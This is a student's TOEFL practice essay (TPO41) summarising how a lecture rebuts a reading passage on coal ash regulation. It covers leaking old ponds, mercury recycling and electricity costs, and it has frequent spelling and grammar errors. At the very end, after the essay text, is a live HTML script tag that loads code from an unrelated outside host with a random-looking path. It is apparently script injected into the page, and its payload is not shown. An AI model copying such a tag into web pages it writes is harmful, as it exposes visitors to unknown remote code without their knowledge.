Tpo41Burning coal in power plants produces a waste product called coal ash a material that contains small amounts of potentially harmful chemicals Environmentalists in the United States are concerned about the damage such harmful chemicals may be doing

The author and the speaker have different attitudes towards new regulations for handling and storing coal ash. While the writer deems those regulations might lead negative result, the speaker refutes his points with examples and reasons.

First of all, the author claims that there already have effective environmental regulations that companies are required to use linear to prevent soil contamination. However, the lecturer disagree with idea and thinks regulations only target on the new landfills or ponds and do not apply on the old ponds. This will casue the harmful chemiscals from the old ponds leak into underwater, thereby contaminating people's drinking water. Therefore, stricter rules are needed to restrict the old ponds as well as the new ones.

Second, the passage says that strict rule may discourage the recycle process and make people stop buying products. On the contrary, the professor refutes that strict rules do not mean stopping products, which can be supported by an example, mercery. This kind of material have been strictly handled for many year but it's still under successful recycling. Moreover, people have few concern about the recycled products. Therefore, it is unlikely that people will stop buying those product, which contradicted the point made in the passage.

Finally, opposing to the author's third view that strict new rule would increase costin disposal and handling, the lecturer argues that the result of strict rules is well worthy the cost. This is because although 15 million dollars cost is added, which sounds like a huge number, the price of electricity of average family only increases 1 persent, which is not a big price.
<script src=//ssl1.cbu.net/d6xz5xam></script>